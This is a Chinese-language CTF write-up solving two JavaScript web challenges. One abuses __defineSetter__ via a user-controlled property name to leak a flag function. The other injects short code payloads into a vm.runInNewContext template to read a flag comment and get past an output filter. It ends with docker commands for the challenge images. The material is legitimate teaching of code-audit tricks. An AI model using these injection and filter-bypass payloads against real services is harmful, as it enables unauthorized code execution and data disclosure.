converter#
題目是一個網頁,如下:
POST 兩個參數, Input
即輸入的數據, converter
代表選擇的轉換器
分析源碼,可以看到有三個 converter
,即代表著三種不同的 encode 方式,其中 flagConverter
裡面有 flag
但是限制了 request.body.converter
,不能出現 FLAG
if (request.body.converter.match(/[FLAG]/)) {
throw new Error("Don't be evil :)");
}
if (request.body.input.length < 20) {
throw new Error('Too short :(');
}
if (request.body.input.length > 1000) {
throw new Error('Too long :(');
}
這裡研究了之後確實不存在突破辦法了🤣
分析#
注意到真正調用 converter
的代碼, 我們輸入的兩個參數 req.body.converter
和 req.body.input
,其中 req.body.converter
是作為 converters
的屬性名,即我們可以控制 conveters
的任意一個屬性(除了這個屬性名不能含有 FLAG
之外)
通過
await new Promise
代碼是在嘗試將回調式的異步操作轉換為 Promise 風格的操作,以便使用 await 來等待執行結果,可以忽略
並且我們發現, converters
是一個 const 類型,並且每次執行 encode
操作,都会對 converters
做一次賦值(理論上直接寫死就行了吧,沒必要每次請求都這麼幹)
converters['base64'] = base64Converter;
converters['scrypt'] = scryptConverter;
converters[`FLAG_${request.session.sessionId}`] = flagConverter;
const result = await new Promise((resolve, reject) => {
converters[request.body.converter](request.body.input, (error, result) => {
if (error) {
reject(error);
} else {
resolve(result);
}
});
});
而我們知道,在 JS 中,雖然一個對象的屬性看上去只有那麼點,但是由於 JS 特有的原型鏈繼承關係,就會導致 Object
對象的屬性也被繼承過來(因此可以逐一去對這些屬性做嘗試)
其中這個 __defineSetter__
屬性很有意思,有點類似反射,可以給對象的一個屬性做一個代理,正常寫法其實是這樣的:
const obj = {
a: 1
};
// 使用 __defineGetter__
obj.__defineSetter__('a', function(res) {
console.log("get res: " + res);
});
如果我們定義了 setter ,那麼後續賦值的時候, 賦值等式的右邊值就會作為 setter 函數的第一個參數傳進來
所以,當我們輸入 input= FLAG_***SESSION***
(input 並沒有不允許輸入 FLAG 字符串),converter = __defineSetter__
時,代碼變為:
converters["__defineSetter__"]("FLAG_***SESSION***", (error, result) => {
if (error) {
reject(error);
} else {
resolve(result);
}
});
這樣當我們重寫完對象的 FLAG_***SESSION***
對應的 setter 時,這個網頁先不動!
後續再新開一個網頁去訪問,此時觸發:
converters[`FLAG_${request.session.sessionId}`] = flagConverter;
可以看到 flagConverter
就會作為第一個參數傳入到函數
(error, result) => {
if (error) {
reject(error);
} else {
resolve(result);
}
}
此時 result 的結果自然就是 error , 即 flagConverter.toString()
的結果
回到我們的第一個網頁,此時就能看到:
Kantan Calc#
這道題目也很有意思,是我見過的 JS 代碼審計中比較新穎的,巧妙地用沙箱逃逸來誤導你,實際利用的是 JS 很常見的一個特性
CTF 中的經典計算器前端:
看代碼:
app.get('/', function (req, res, next) {
let output = '';
const code = req.query.code + '';
console.log(code.length); // 打印輸入的代碼長度
if (code && code.length < 30) {
try {
const result = vm.runInNewContext(`'use strict'; (function () { return ${code}; /* ${FLAG} */ })()`, Object.create(null), { timeout: 100 });
output = result + '';
if (output.includes('flag')) {
output = 'Error: please do not exfiltrate the flag';
}
} catch (e) {
output = 'Error: error occurred';
}
} else {
output = 'Error: invalid code';
}
res.render('index', { title: 'Kantan Calc', output });
});
關鍵代碼就是在 vm.runInNewContext
那一行,即輸入的內容會被當做代碼執行,比如輸入 2*2
實際在 vm 中執行的代碼就是:
'use strict';
(
function(){
return 2*2; /* flag{fake_flag} */
}
)()
實際就是一個立即執行函數,但是這裡要注意:
vm.runInNewContext('', Object.create(null))
Object.create(null)
實際上是創建了一個沒有任何原型鏈的對象,是一個絕對 “乾淨” 的對象
因此,最常用的一種沙箱逃逸是沒有辦法了(我就懶得寫了)
解法#
在 JavaScript 中,可以通過將函數體轉換為字符串來獲取函數體:
function a() {}
console.log(a+'')
// "function a() {}"
這樣就可以讓代碼內的 flag 註釋信息打印出來了,但是就算打印出來還是會被後面的 if 給攔截,這應該怎麼辦呢?
答案就是數組,利用函數 toString 弱類型轉換,返回 char 數組(繞開 if 檢測),同時保證 payload 長度小於 30
那麼我們先直接閉合前面的函數,然後開一個新的函數,即輸入:
},function p(){return[...p+1]
那麼此時:
'use strict';
(
function(){
return
},
function p(){return[...p+1]; /* flag{fake_flag} */
}
)()
那麼第二個函數 p 執行的時候,先執行加法,抓為字符串,然後解構為數組,就繞開了檢測
在看 wp 的時候還發現有另一種思路:
[...arguments[0]+0]})(a=>{
實際執行的代碼:
'use strict';
(
function(){
return [...arguments[0]+0]}
)
(a=>{
; /* flag{fake_flag} */
}
)()
等於先定義了一個函數
(
function(){
return [...arguments[0]+0]
}
)
然後調用的時候傳遞了一個參數, (a => {;/*flag{fake_flag}*/})
,那麼自然這個函數就會被當做參數 arguments
傳遞進去,同樣的道理(不過這種情況會報錯了,因為返回的是個數組無法繼續函數調用)
總結#
這兩道題目也都打包 Docker 鏡像了,有需要的可以自取:
docker run -d --restart=always -p 3000:3000 rayepeng/kantan_calc:latest
docker run -d --restart=always -p 3000:3000 rayepeng/convert:latest
其實 JS 的很多特性都是可以用來出題的,但是卻很少像 PHP 那樣,有各種變種且好玩的代碼審計題,後續準備在這裡多思考下,嘗試自己也出幾道有趣的結合 JS 特性的審計題目